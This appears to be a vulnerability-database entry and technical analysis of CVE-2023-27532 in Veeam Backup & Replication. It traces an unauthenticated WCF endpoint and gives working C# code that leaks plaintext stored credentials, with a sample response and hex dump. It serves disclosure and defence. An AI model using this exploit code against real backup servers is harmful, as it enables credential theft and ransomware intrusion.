Attacker Value
High
(3 users assessed)
Exploitability
Very High
(3 users assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
11

CVE-2023-27532

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Vulnerability in Veeam Backup & Replication component allows encrypted credentials stored in the configuration database to be obtained. This may lead to gaining access to the backup infrastructure hosts.

Add Assessment

2
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

We’ve continued to see reports of exploitation for CVE-2023-27532. Almost a year out from the initial advisory, there’s been ransomware (Cuba, Akira) and other use of this vuln by financially motivated groups. Patch uptake has reportedly been pretty strong, but notably, this is a solid internal attack vector, so locking down internet exposure alone isn’t a sufficient mitigation plan.

1
Ratings
Technical Analysis

This vulnerability is used as part of the ransomware attacks conducted by the Cuba Ransomware group.
One of the sources of this information is this blog: https://blogs.blackberry.com/en/2023/08/cuba-ransomware-deploys-new-tools-targets-critical-infrastructure-sector-in-the-usa-and-it-integrator-in-latin-america

General Information

Products

  • Veeam Backup & Replication

Exploited in the Wild

Reported by:
Technical Analysis

Overview

Veeam Backup & Replication is a data backup and replication solution. On March 7, 2023, Veeam published an advisory, along with patches, for https://nvd.nist.gov/vuln/detail/CVE-2023-27532. This vulnerability affects Veeam Backup & Replication versions 12 (before build 12.0.0.1420 P20230223) and 11 (before build 11.0.1.1261 P20230227).

The vulnerability as described by Veeam is a High severity issue with a CVSS base score of 7.5, that allows an attacker to obtain encrypted credentials from the Veeam backup service.

On March 9, 2023, CODE WHITE GmbH published it was possible to retrieve the plaintext credentials from the Veeam Backup service. On March 13, 2023, Huntress published it as possible to achieve remote code execution in the Veeam Backup & Replication server. On March 17, 2023, researcher Y4er published technical details on how to retrieve credentials via the vulnerability.

Upon review we can confirm the root cause of the vulnerability is a lack of authentication on a remote Windows Communication Foundation (WCF) service endpoint that can lead to both leaking plaintext credentials to an attacker as well as unauthenticated remote code execution with local system privileges on the Veeam Backup & Replication server. This adjusted description of the vulnerability would make it a Critical severity issue with a CVSS base score of 9.1.

The impact of leaking plaintext credentials from a Veeam Backup & Replication server should not be understated. The credentials stored by the service are intended to allow the product to authenticate to the multitude of connected components that comprise the organization’s backup infrastructure.

Veeam Backup & Replication is a high value target for an attacker, and this product has been featured on the CISA Known Exploited Vulnerabilities Catalog in 2022 for two different CVE’s. While it is unlikely to see the vulnerable service broadly exposed on internet-facing systems, for an attacker with initial access into a corporate network, this will be a target of great interest. In particular we can expect ransomware groups to leverage this vulnerability in future ransomware campaigns.

During this analysis, Veeam Backup & Replication version 11.0.1.1261_20211123 was tested.

The Vulnerable Endpoint

The vulnerable endpoint is in the Veeam.Backup.Service.exe process which listens for connections on TCP port 9401. This is the port that allows the Veeam Mount server to communicate with the Veeam Backup server. Depending on the configuration of the Veeam Backup & Replication installation, the mount server and backup server may not be installed on the same machine, hence the need to communicate to one another over an exposed port.

The exposed TCP port provides access to a .NET Windows Communication Foundation (WCF) service endpoint. We can see below how the endpoint is created. A NetTcpBinding instance is created which is configured via the configuration name invokeServiceBinding. This configuration is specified separately and will define how the endpoints transport mechanism is secured. The CVbRestoreServiceStub class defines the method implementations that are exposed to the service endpoint via the IRemoteInvokeService interface.

namespace Veeam.Backup.ServiceLib
{
  public class CRemoteInvokeServiceHolder : IDisposable
    private CRemoteInvokeServiceHolder(string ipOrDns, int port, CVbServiceManagers managers)
    {
      try
      {
        this._serviceHost = this._disposableList.Add<ServiceHost>(new ServiceHost((object) new CVbRestoreServiceStub(managers), Array.Empty<Uri>()));
        NetTcpBinding netTcpBinding = new NetTcpBinding("invokeServiceBinding");
        this.ChannelAddress = string.Format("net.tcp://{0}:{1}/", (object) ipOrDns, (object) port);
        this._serviceHost.AddServiceEndpoint(typeof (IRemoteInvokeService), (Binding) netTcpBinding, this.ChannelAddress);
        this._serviceHost.Open();
      }
      catch (Exception ex)
      {
        this.DisposeInternal();
        throw;
      }
    }

We can see below the IRemoteInvokeService interface will expose 3 methods to a remote caller.

namespace Veeam.Backup.Interaction.MountService
{
    [ServiceContract]
    public interface IRemoteInvokeService
    {
        [OperationContract]
        [FaultContract(typeof(CRemoteInvokeExceptionInfo))]
        string Invoke(ERemoteInvokeScope scope, ERemoteInvokeMethod method, string parameters);

        [OperationContract]
        [FaultContract(typeof(CRemoteInvokeExceptionInfo))]
        DataTable GetDataTable(ERemoteInvokeScope scope, ERemoteInvokeMethod method, string spec);

        [OperationContract]
        [FaultContract(typeof(CRemoteInvokeExceptionInfo))]
        DataSet GetDataSet(ERemoteInvokeScope scope, ERemoteInvokeMethod method, string spec);
    }
}

To understand how the endpoint is secured we must investigate the configuration invokeServiceBinding which was passed by name to the NetTcpBinding instance for the endpoint. The configuration for the binding is defined in the file C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.exe.config as shown below.

    <bindings>
      <netTcpBinding>
        <binding name="invokeServiceBinding" maxReceivedMessageSize="2147483647" sendTimeout="00:10:00" receiveTimeout="00:20:00">
          <security mode="Transport">
            <transport clientCredentialType="None" />
          </security>
          <readerQuotas maxStringContentLength="2147483647" />
        </binding>
      </netTcpBinding>
    </bindings>

We can note that the security mode is set to be Transport. For NetTcpBinding this means the network communication will be secured against eavesdropping and tampering, via Transport Layer Security (TLS) over TCP. Next we see the transports clientCredentialType, which defines the client authentication mechanism. The following values are supported by WCF.

Certificate 2 Specifies client authentication using a certificate.
None 0 Specifies anonymous authentication.
Windows 1 Specifies client authentication using Windows.

We can note the client credential type is set to None which allows for anonymous authentication to the remote endpoint. This allows a remote attacker to call methods on the exposed endpoint unauthenticated.

Upon review of the method implementations in CVbRestoreServiceStub we can note that no additional access controls are implemented in the business logic of the exposed methods.

With the above information we can create a channel to the remote service endpoint with the following code.

string host = "127.0.0.1";

int port = 9401;

NetTcpBinding binding = new NetTcpBinding();

NetTcpSecurity netTcpSecurity = new NetTcpSecurity();

netTcpSecurity.Mode = SecurityMode.Transport;

TcpTransportSecurity tcpTransportSecurity = new TcpTransportSecurity();

tcpTransportSecurity.ClientCredentialType = TcpClientCredentialType.None;

netTcpSecurity.Transport = tcpTransportSecurity;

binding.Security = netTcpSecurity;

binding.Name = "foo";

Uri uri = new Uri(String.Format("net.tcp://{0}:{1}/", host, port));

EndpointAddress endpoint = new EndpointAddress(uri, EndpointIdentity.CreateDnsIdentity("Veeam Backup Server Certificate"));

ChannelFactory<IRemoteInvokeService> channelFactory = new ChannelFactory<IRemoteInvokeService>(binding, endpoint);

X509ServiceCertificateAuthentication x509ServiceCertificateAuthentication = new X509ServiceCertificateAuthentication();

x509ServiceCertificateAuthentication.CertificateValidationMode = X509CertificateValidationMode.None;

channelFactory.Credentials.ServiceCertificate.SslCertificateAuthentication = x509ServiceCertificateAuthentication;

IRemoteInvokeService channel = channelFactory.CreateChannel(endpoint);

Leaking Plaintext Credentials

To leak the credentials stored by the backup service an attacker must connect to the exposed service endpoint and call the Invoke method on the IRemoteInvokeService interface. The Invoke method is essentially a dispatcher, exposing several hundred methods to the caller. We can see below that 3 parameters must be provided. The scope and method parameters allow the caller to select a specific method to call from the hundreds that are available, and the parameters parameter provides a string of text which will be deserialized to construct the required parameters for any given method being invoked.

namespace Veeam.Backup.ServiceLib
{
  [ServiceBehavior(ConfigurationName = "BackupSecureService", InstanceContextMode = InstanceContextMode.Single, ConcurrencyMode = ConcurrencyMode.Multiple, MaxItemsInObjectGraph = 2147483647)]
  public class CVbRestoreServiceStub : IRemoteInvokeService
  {

    public string Invoke(ERemoteInvokeScope scope, ERemoteInvokeMethod method, string parameters)
    {
      try
      {
        Log.Message(LogLevels.UltimateDetailed, string.Format("Invoke: scope '{0}', method '{1}'", (object) scope, (object) method));
        XmlNode specNode = CRemoteInvokeSpec.GetSpecNode(parameters);
        return this.ProcessCommand(scope, method, specNode).Serialize();
      }
      catch (Exception ex)
      {
        int scope1 = (int) scope;
        int method1 = (int) method;
        CBackupSecureServiceErrorHandler.LogAndThrowFaultException(ex, (ERemoteInvokeScope) scope1, (ERemoteInvokeMethod) method1);
        throw;
      }
    }

By providing a scope of ERemoteInvokeScope.DatabaseManager we end up in the ExecuteDatabaseManagerCommand method.

    protected CRemoteInvokeRetVal ProcessCommand(
      ERemoteInvokeScope scope,
      ERemoteInvokeMethod method,
      XmlNode specNode)
    {
      switch (scope)
      {
        case ERemoteInvokeScope.Service:
          return this.ExecuteServiceCommand(method, specNode);
        case ERemoteInvokeScope.Database:
          return this.ExecuteDbCommand(method, specNode);
        case ERemoteInvokeScope.StgLockManager:
          return this.ExecuteStgLocManagerCommand(method, specNode);
        case ERemoteInvokeScope.LeaseManager:
          return this.ExecuteLeaseManagerCommand(method, specNode);
        case ERemoteInvokeScope.AgentManager:
          return this.ExecuteAgentManagerCommand(method, specNode);
        case ERemoteInvokeScope.StorageAccessor:
          return this.ExecuteStorageAccessorCommand(method, specNode);
        case ERemoteInvokeScope.ItemRestore:
          return this.ExecuteFileRestoreCommand(method, specNode);
        case ERemoteInvokeScope.RestoreSessionManager:
          return this.ExecuteRestoreSessionCommand(method, specNode);
        case ERemoteInvokeScope.DatabaseAccessor:
          return this.ExecuteDatabaseAccessorCommand(method, specNode);
        case ERemoteInvokeScope.Snmp:
          return this.ExecuteSnmpCommand(method, specNode);
        case ERemoteInvokeScope.ResourceScheduling:
          return this.ExecuteResourceSchedulingCommand(method, specNode);
        case ERemoteInvokeScope.HierarchyLoader:
          return this.ExecuteHierarchyLoaderCommand(method, specNode);
        case ERemoteInvokeScope.DatabaseManager:
          return this.ExecuteDatabaseManagerCommand(method, specNode); // <---
        default:
          throw ExceptionFactory.Create(string.Format("Unknown scope: {0}", (object) scope));
      }
    }

And by providing a method of ERemoteInvokeMethod.CredentialsDbScopeGetAllCreds we can call the ExecuteCredentialsDbScopeGetAllCreds method.

    private CRemoteInvokeRetVal ExecuteDatabaseManagerCommand(
      ERemoteInvokeMethod method,
      XmlNode parentNode)
    {
      switch (method)
      {
        // ...
        case ERemoteInvokeMethod.CredentialsDbScopeGetAllCreds:
          return this.ExecuteCredentialsDbScopeGetAllCreds(CCommonInvokeSpec.Deserialize(parentNode)); // <---

This will call the method GetAllCreds to retrieve a list of CDbCredentialsInfo objects, one for each credential in the applications database.

    private CRemoteInvokeRetVal ExecuteCredentialsDbScopeGetAllCreds(CCommonInvokeSpec spec)
    {
      IList<CDbCredentialsInfo> allCreds1 = CCredentialsStrore.Instance.Credentials.GetAllCreds(this._deserializer.DeserializeCustom<bool>(spec.GetParamAsString("includeHidden")));
      CCommonInvokeRetVal allCreds2 = CCommonInvokeRetVal.Create();
      allCreds2.AddParam("retVal", CProxyBinaryFormatter.Serialize((object) allCreds1));
      return (CRemoteInvokeRetVal) allCreds2;
    }

We can see how the credentials are retrieved from the database, using a stored procedure called GetAllCreds to perform the required query.

namespace Veeam.Backup.DBManager
{
  public class CCredentialsDbScope
  {

    public IList<CDbCredentialsInfo> GetAllCreds(bool includeHidden = true)
    {
      using (DataTableReader dataReader = this._dbAccessor.GetDataTable(nameof (GetAllCreds)).CreateDataReader())
        return this.ReadCredsCollection((IDataReader) dataReader, includeHidden);
    }

    private IList<CDbCredentialsInfo> ReadCredsCollection(IDataReader reader, bool includeHidden = true)
    {
      IList<CDbCredentialsInfo> cdbCredentialsInfoList = (IList<CDbCredentialsInfo>) new List<CDbCredentialsInfo>();
      while (reader.Read())
      {
        CDbCredentialsInfo cdbCredentialsInfo = this.Row2CredentialsInfo(reader);
        if (includeHidden || cdbCredentialsInfo.Visible)
          cdbCredentialsInfoList.Add(cdbCredentialsInfo);
      }
      return cdbCredentialsInfoList;
    }

The SQL for this stored procedure is as follows.

USE [VeeamBackup]
GO
/****** Object:  StoredProcedure [dbo].[GetAllCreds]    Script Date: 23/03/2023 03:23:18 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
    ALTER PROCEDURE [dbo].[GetAllCreds]
    AS
    BEGIN
        SET NOCOUNT ON;
        SELECT  c.*, e.credentials_tag
        FROM    [dbo].[Credentials] c
        LEFT JOIN [dbo].[CredentialsPolicyExtension] e on c.id = e.credentials_id
        ORDER BY [user_name];
    END;

Running this stored procedure will return all the credentials stored in the dbo.Credentials table, we can note that the passwords are both stored and retrieved as encrypted passwords.

The encrypted credentials are held server side in a CDbCredentialsInfo object, which in turn uses an instance of CCredentials to store the actual credential information such as user name, description and the encrypted password.

However when the list of CDbCredentialsInfo objects is returned to the remote client caller. The list is serialized for transport over the network connection. The class CCredentials has an implementation of ISerializable.GetObjectData to allow the class to control its own object serialization during this process, as shown below.

        void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.AddValue("UserName", UserName);
            info.AddValue("Password", this.GetPassword());
            info.AddValue("IsLocalProtect", IsLocalProtect);
            info.AddValue("CurrentUser", CurrentUser);
            info.AddValue("Description", Description);
            info.AddValue("ChangeTimeUtcHasValue", ChangeTimeUtc.HasValue);
            if (ChangeTimeUtc.HasValue)
            {
                info.AddValue("ChangeTimeUtc", ChangeTimeUtc.Value);
            }
        }

We can note that the encrypted password is retrieved by a call to GetPassword and the result of this call is the value that is serialized, and thus transferred to the remote caller.

We can see below how GetPassword will ultimately decode the encrypted password via ProtectedData.Unprotect, which is a wrapper for crypt32!CryptProtectData from the DAPI.

namespace Veeam.Backup.Common
{
  public static class SCredentialsGetPasswordExtension
  {
    public static string GetPassword(this CCredentials cCredentials) => CStringCoder.Decode(cCredentials.EncryptedPassword, cCredentials.IsLocalProtect); // <--- [1]
  }

  public class CStringCoder
  {
    public static string Decode(CCodedPassword encodedStr, bool isLocalProtect) => CStringCoder.Decode(encodedStr.Value, isLocalProtect); // <--- [2]

    public static string Decode(string encodedStr, bool isLocalProtect)
    {
      if (encodedStr == null)
        return (string) null;
      return isLocalProtect ? ProtectedStorage.GetLocalStringNoThrow(encodedStr) : ProtectedStorage.GetUserStringNoThrow(encodedStr); // <--- [3]
    }
  }

  public static class ProtectedStorage
  {
    public static string GetLocalStringNoThrow(string encrypted)
    {
      try
      {
        return ProtectedStorage.GetLocalString(encrypted); // <--- [4]
      }
      catch (Exception ex)
      {
        object[] objArray = Array.Empty<object>();
        Log.Exception(ex, (string) null, objArray);
        return string.Empty;
      }
    }

    public static string GetLocalString(string encrypted) => string.IsNullOrEmpty(encrypted) ? string.Empty : Encoding.UTF8.GetString(ProtectedData.Unprotect(Convert.FromBase64String(encrypted), (byte[]) null, DataProtectionScope.LocalMachine)); // <--- [5]

  }
}

The serialized CCredentials instances are finally transferred back to the remote caller, who will now have access to the plaintext passwords for all credentials returned in the serialized data stream.

It is worth noting that if the remote caller deserializes the returned credentials, back into a List<CDbCredentialsInfo> instance, the plaintext passwords in the serialized credentials will become encrypted by a call to ProtectedData.Protect during deserialization. However as this operation occurs on the attackers system, it is trivial for an attacker to retrieve the plaintext through a reciprocal call to ProtectedData.Unprotect.

We can therefore leak the credentials from the remote Veeam Backup & Replication server via the following code.

MemoryStream stream = new MemoryStream();

BinaryFormatter formatter = new BinaryFormatter();

formatter.Serialize(stream, true);

string includeHidden = Convert.ToBase64String(stream.ToArray());

string parameters = String.Format(
    """
    <RemoteInvokeSpec ContextSessionId="{0}" Scope="Service" Method="CredentialsDbScopeGetAllCreds">
        <Params>
            <Param ParamName="includeHidden" ParamValue="{1}" ParamType="System.String"></Param>
        </Params>
    </RemoteInvokeSpec>
    """,
    Guid.NewGuid().ToString(),
    includeHidden
);

string xml_result = channel.Invoke(ERemoteInvokeScope.DatabaseManager, ERemoteInvokeMethod.CredentialsDbScopeGetAllCreds, parameters);

An example of the raw response from calling the CredentialsDbScopeGetAllCreds method can be seen below.

<?xml version="1.0"?><RemoteInvokeRetVal><Params><Param ParamName="retVal" ParamType="System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" ParamValue="AAEAAAD/////AQAAAAAAAAAMAgAAAFZWZWVhbS5CYWNrdXAuTW9kZWwsIFZlcnNpb249MTEuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YmZkNjg0ZGUyMjc2NzgzYQQBAAAAogFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1ZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcmVkZW50aWFsc0luZm8sIFZlZWFtLkJhY2t1cC5Nb2RlbCwgVmVyc2lvbj0xMS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iZmQ2ODRkZTIyNzY3ODNhXV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgQAACdWZWVhbS5CYWNrdXAuTW9kZWwuQ0RiQ3JlZGVudGlhbHNJbmZvW10CAAAACAgJAwAAAAYAAAAGAAAABwMAAAAAAQAAAAgAAAAEJVZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcmVkZW50aWFsc0luZm8CAAAACQQAAAAJBQAAAAkGAAAACQcAAAAJCAAAAAkJAAAADQIMCgAAAFdWZWVhbS5CYWNrdXAuQ29tbW9uLCBWZXJzaW9uPTExLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWJmZDY4NGRlMjI3Njc4M2EFBAAAACVWZWVhbS5CYWNrdXAuTW9kZWwuQ0RiQ3JlZGVudGlhbHNJbmZvBQAAABg8VmVyc2lvbj5rX19CYWNraW5nRmllbGQTPElkPmtfX0JhY2tpbmdGaWVsZBQ8VGFnPmtfX0JhY2tpbmdGaWVsZBg8VmlzaWJsZT5rX19CYWNraW5nRmllbGQcPENyZWRlbnRpYWxzPmtfX0JhY2tpbmdGaWVsZAADBAAECQtTeXN0ZW0uR3VpZCBWZWVhbS5CYWNrdXAuTW9kZWwuQ1Zick9iamVjdFRhZwIAAAABIFZlZWFtLkJhY2t1cC5Db21tb24uQ0NyZWRlbnRpYWxzCgAAAAIAAAArAAAAAAAAAAT1////C1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgIDWydwBejhSZU1GGfGI3HiBfT///8gVmVlYW0uQmFja3VwLk1vZGVsLkNWYnJPYmplY3RUYWcBAAAAB190YWdTdHIBAgAAAAYNAAAAJDcwMjc1QjAzLUU4MDUtNDlFMS05NTM1LTE4NjdDNjIzNzFFMgEJDgAAAAEFAAAABAAAAFQAAAAAAAAAAfH////1////UK/rtWMaSEyDn1+KVFJSCwHw////9P///wYRAAAAJEI1RUJBRjUwLTFBNjMtNEM0OC04MzlGLTVGOEE1NDUyNTIwQgEJEgAAAAEGAAAABAAAAF0AAAAAAAAAAe3////1////0t55466Nmku3fX7ZnoxxUgHs////9P///wYVAAAAJEUzNzlERUQyLThEQUUtNEI5QS1CNzdELTdFRDk5RThDNzE1MgEJFgAAAAEHAAAABAAAAFMAAAAAAAAAAen////1////0UEA/WhKvUqu/rK/Art8qQHo////9P///wYZAAAAJEZEMDA0MUQxLTRBNjgtNEFCRC1BRUZFLUIyQkYwMkJCN0NBOQEJGgAAAAEIAAAABAAAAEIDAAAAAAAAAeX////1////n8Lk8hEuR0S0gSPTsTzMwgHk////9P///wYdAAAAJGYyZTRjMjlmLTJlMTEtNDQ0Ny1iNDgxLTIzZDNiMTNjY2NjMgEJHgAAAAEJAAAABAAAAEUDAAAAAAAAAeH////1////SbEglUBbpkuuoWMpWJVdNgHg////9P///wYhAAAAJDk1MjBiMTQ5LTViNDAtNGJhNi1hZWExLTYzMjk1ODk1NWQzNgEJIgAAAAUOAAAAIFZlZWFtLkJhY2t1cC5Db21tb24uQ0NyZWRlbnRpYWxzBwAAAAhVc2VyTmFtZQhQYXNzd29yZA5Jc0xvY2FsUHJvdGVjdAtDdXJyZW50VXNlcgtEZXNjcmlwdGlvbhVDaGFuZ2VUaW1lVXRjSGFzVmFsdWUNQ2hhbmdlVGltZVV0YwEBAAABAAABAQENCgAAAAYjAAAABHJvb3QGJAAAAAABAAYlAAAAHEhlbHBlciBhcHBsaWFuY2UgY3JlZGVudGlhbHMB4FOzS2Ap2wgBEgAAAA4AAAAGJgAAAARyb290CSQAAAABAAYoAAAAM1RlbmFudC1zaWRlIG5ldHdvcmsgZXh0ZW5zaW9uIGFwcGxpYW5jZSBjcmVkZW50aWFscwEQebs+YCnbCAEWAAAADgAAAAYpAAAABHJvb3QJJAAAAAEABisAAAAiQXp1cmUgaGVscGVyIGFwcGxpYW5jZSBjcmVkZW50aWFscwGwbk5DYCnbCAEaAAAADgAAAAYsAAAABHJvb3QJJAAAAAEABi4AAAA1UHJvdmlkZXItc2lkZSBuZXR3b3JrIGV4dGVuc2lvbiBhcHBsaWFuY2UgY3JlZGVudGlhbHMBEHm7PmAp2wgBHgAAAA4AAAAGLwAAAA5UZXN0TGludXhBZG1pbgYwAAAAHUFub3RoZXJUZXN0UGFzc3dvcmQ5ODc2NTQzMjEhAQAGMQAAAA5UZXN0TGludXhBZG1pbgFQpfxe8SnbCAEiAAAADgAAAAYyAAAAEVRlc3RTdGFuZGFyZEFkbWluBjMAAAAVTXlBZG1pblBhc3N3b3JkMTIzNDUhAQAGNAAAAAVBZG1pbgEQOUM98SnbCAs=" /></Params></RemoteInvokeRetVal>

If we base64 decode the ParamValue we can see the plaintext credentials within the serialized data stream, specifically AnotherTestPassword9876 and MyAdminPassword12345! in the example below.

00000000  00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00  |.....ÿÿÿÿ.......|
00000010  00 0c 02 00 00 00 56 56 65 65 61 6d 2e 42 61 63  |......VVeeam.Bac|
00000020  6b 75 70 2e 4d 6f 64 65 6c 2c 20 56 65 72 73 69  |kup.Model, Versi|
00000030  6f 6e 3d 31 31 2e 30 2e 30 2e 30 2c 20 43 75 6c  |on=11.0.0.0, Cul|
00000040  74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 75  |ture=neutral, Pu|
00000050  62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d 62 66 64  |blicKeyToken=bfd|
00000060  36 38 34 64 65 32 32 37 36 37 38 33 61 04 01 00  |684de2276783a...|
00000070  00 00 a2 01 53 79 73 74 65 6d 2e 43 6f 6c 6c 65  |..¢.System.Colle|
00000080  63 74 69 6f 6e 73 2e 47 65 6e 65 72 69 63 2e 4c  |ctions.Generic.L|
00000090  69 73 74 60 31 5b 5b 56 65 65 61 6d 2e 42 61 63  |ist`1[[Veeam.Bac|
000000a0  6b 75 70 2e 4d 6f 64 65 6c 2e 43 44 62 43 72 65  |kup.Model.CDbCre|
000000b0  64 65 6e 74 69 61 6c 73 49 6e 66 6f 2c 20 56 65  |dentialsInfo, Ve|
000000c0  65 61 6d 2e 42 61 63 6b 75 70 2e 4d 6f 64 65 6c  |eam.Backup.Model|
000000d0  2c 20 56 65 72 73 69 6f 6e 3d 31 31 2e 30 2e 30  |, Version=11.0.0|
000000e0  2e 30 2c 20 43 75 6c 74 75 72 65 3d 6e 65 75 74  |.0, Culture=neut|
000000f0  72 61 6c 2c 20 50 75 62 6c 69 63 4b 65 79 54 6f  |ral, PublicKeyTo|
00000100  6b 65 6e 3d 62 66 64 36 38 34 64 65 32 32 37 36  |ken=bfd684de2276|
00000110  37 38 33 61 5d 5d 03 00 00 00 06 5f 69 74 65 6d  |783a]]....._item|
00000120  73 05 5f 73 69 7a 65 08 5f 76 65 72 73 69 6f 6e  |s._size._version|
00000130  04 00 00 27 56 65 65 61 6d 2e 42 61 63 6b 75 70  |...'Veeam.Backup|
00000140  2e 4d 6f 64 65 6c 2e 43 44 62 43 72 65 64 65 6e  |.Model.CDbCreden|
00000150  74 69 61 6c 73 49 6e 66 6f 5b 5d 02 00 00 00 08  |tialsInfo[].....|
00000160  08 09 03 00 00 00 06 00 00 00 06 00 00 00 07 03  |................|
00000170  00 00 00 00 01 00 00 00 08 00 00 00 04 25 56 65  |.............%Ve|
00000180  65 61 6d 2e 42 61 63 6b 75 70 2e 4d 6f 64 65 6c  |eam.Backup.Model|
00000190  2e 43 44 62 43 72 65 64 65 6e 74 69 61 6c 73 49  |.CDbCredentialsI|
000001a0  6e 66 6f 02 00 00 00 09 04 00 00 00 09 05 00 00  |nfo.............|
000001b0  00 09 06 00 00 00 09 07 00 00 00 09 08 00 00 00  |................|
000001c0  09 09 00 00 00 0d 02 0c 0a 00 00 00 57 56 65 65  |............WVee|
000001d0  61 6d 2e 42 61 63 6b 75 70 2e 43 6f 6d 6d 6f 6e  |am.Backup.Common|
000001e0  2c 20 56 65 72 73 69 6f 6e 3d 31 31 2e 30 2e 30  |, Version=11.0.0|
000001f0  2e 30 2c 20 43 75 6c 74 75 72 65 3d 6e 65 75 74  |.0, Culture=neut|
00000200  72 61 6c 2c 20 50 75 62 6c 69 63 4b 65 79 54 6f  |ral, PublicKeyTo|
00000210  6b 65 6e 3d 62 66 64 36 38 34 64 65 32 32 37 36  |ken=bfd684de2276|
00000220  37 38 33 61 05 04 00 00 00 25 56 65 65 61 6d 2e  |783a.....%Veeam.|
00000230  42 61 63 6b 75 70 2e 4d 6f 64 65 6c 2e 43 44 62  |Backup.Model.CDb|
00000240  43 72 65 64 65 6e 74 69 61 6c 73 49 6e 66 6f 05  |CredentialsInfo.|
00000250  00 00 00 18 3c 56 65 72 73 69 6f 6e 3e 6b 5f 5f  |....<Version>k__|
00000260  42 61 63 6b 69 6e 67 46 69 65 6c 64 13 3c 49 64  |BackingField.<Id|
00000270  3e 6b 5f 5f 42 61 63 6b 69 6e 67 46 69 65 6c 64  |>k__BackingField|
00000280  14 3c 54 61 67 3e 6b 5f 5f 42 61 63 6b 69 6e 67  |.<Tag>k__Backing|
00000290  46 69 65 6c 64 18 3c 56 69 73 69 62 6c 65 3e 6b  |Field.<Visible>k|
000002a0  5f 5f 42 61 63 6b 69 6e 67 46 69 65 6c 64 1c 3c  |__BackingField.<|
000002b0  43 72 65 64 65 6e 74 69 61 6c 73 3e 6b 5f 5f 42  |Credentials>k__B|
000002c0  61 63 6b 69 6e 67 46 69 65 6c 64 00 03 04 00 04  |ackingField.....|
000002d0  09 0b 53 79 73 74 65 6d 2e 47 75 69 64 20 56 65  |..System.Guid Ve|
000002e0  65 61 6d 2e 42 61 63 6b 75 70 2e 4d 6f 64 65 6c  |eam.Backup.Model|
000002f0  2e 43 56 62 72 4f 62 6a 65 63 74 54 61 67 02 00  |.CVbrObjectTag..|
00000300  00 00 01 20 56 65 65 61 6d 2e 42 61 63 6b 75 70  |... Veeam.Backup|
00000310  2e 43 6f 6d 6d 6f 6e 2e 43 43 72 65 64 65 6e 74  |.Common.CCredent|
00000320  69 61 6c 73 0a 00 00 00 02 00 00 00 2b 00 00 00  |ials........+...|
00000330  00 00 00 00 04 f5 ff ff ff 0b 53 79 73 74 65 6d  |.....õÿÿÿ.System|
00000340  2e 47 75 69 64 0b 00 00 00 02 5f 61 02 5f 62 02  |.Guid....._a._b.|
00000350  5f 63 02 5f 64 02 5f 65 02 5f 66 02 5f 67 02 5f  |_c._d._e._f._g._|
00000360  68 02 5f 69 02 5f 6a 02 5f 6b 00 00 00 00 00 00  |h._i._j._k......|
00000370  00 00 00 00 00 08 07 07 02 02 02 02 02 02 02 02  |................|
00000380  03 5b 27 70 05 e8 e1 49 95 35 18 67 c6 23 71 e2  |.['p.èáI.5.gÆ#qâ|
00000390  05 f4 ff ff ff 20 56 65 65 61 6d 2e 42 61 63 6b  |.ôÿÿÿ Veeam.Back|
000003a0  75 70 2e 4d 6f 64 65 6c 2e 43 56 62 72 4f 62 6a  |up.Model.CVbrObj|
000003b0  65 63 74 54 61 67 01 00 00 00 07 5f 74 61 67 53  |ectTag....._tagS|
000003c0  74 72 01 02 00 00 00 06 0d 00 00 00 24 37 30 32  |tr..........$702|
000003d0  37 35 42 30 33 2d 45 38 30 35 2d 34 39 45 31 2d  |75B03-E805-49E1-|
000003e0  39 35 33 35 2d 31 38 36 37 43 36 32 33 37 31 45  |9535-1867C62371E|
000003f0  32 01 09 0e 00 00 00 01 05 00 00 00 04 00 00 00  |2...............|
00000400  54 00 00 00 00 00 00 00 01 f1 ff ff ff f5 ff ff  |T........ñÿÿÿõÿÿ|
00000410  ff 50 af eb b5 63 1a 48 4c 83 9f 5f 8a 54 52 52  |ÿP¯ëµc.HL.._.TRR|
00000420  0b 01 f0 ff ff ff f4 ff ff ff 06 11 00 00 00 24  |..ðÿÿÿôÿÿÿ.....$|
00000430  42 35 45 42 41 46 35 30 2d 31 41 36 33 2d 34 43  |B5EBAF50-1A63-4C|
00000440  34 38 2d 38 33 39 46 2d 35 46 38 41 35 34 35 32  |48-839F-5F8A5452|
00000450  35 32 30 42 01 09 12 00 00 00 01 06 00 00 00 04  |520B............|
00000460  00 00 00 5d 00 00 00 00 00 00 00 01 ed ff ff ff  |...]........íÿÿÿ|
00000470  f5 ff ff ff d2 de 79 e3 ae 8d 9a 4b b7 7d 7e d9  |õÿÿÿÒÞyã®..K·}~Ù|
00000480  9e 8c 71 52 01 ec ff ff ff f4 ff ff ff 06 15 00  |..qR.ìÿÿÿôÿÿÿ...|
00000490  00 00 24 45 33 37 39 44 45 44 32 2d 38 44 41 45  |..$E379DED2-8DAE|
000004a0  2d 34 42 39 41 2d 42 37 37 44 2d 37 45 44 39 39  |-4B9A-B77D-7ED99|
000004b0  45 38 43 37 31 35 32 01 09 16 00 00 00 01 07 00  |E8C7152.........|
000004c0  00 00 04 00 00 00 53 00 00 00 00 00 00 00 01 e9  |......S........é|
000004d0  ff ff ff f5 ff ff ff d1 41 00 fd 68 4a bd 4a ae  |ÿÿÿõÿÿÿÑA.ýhJ½J®|
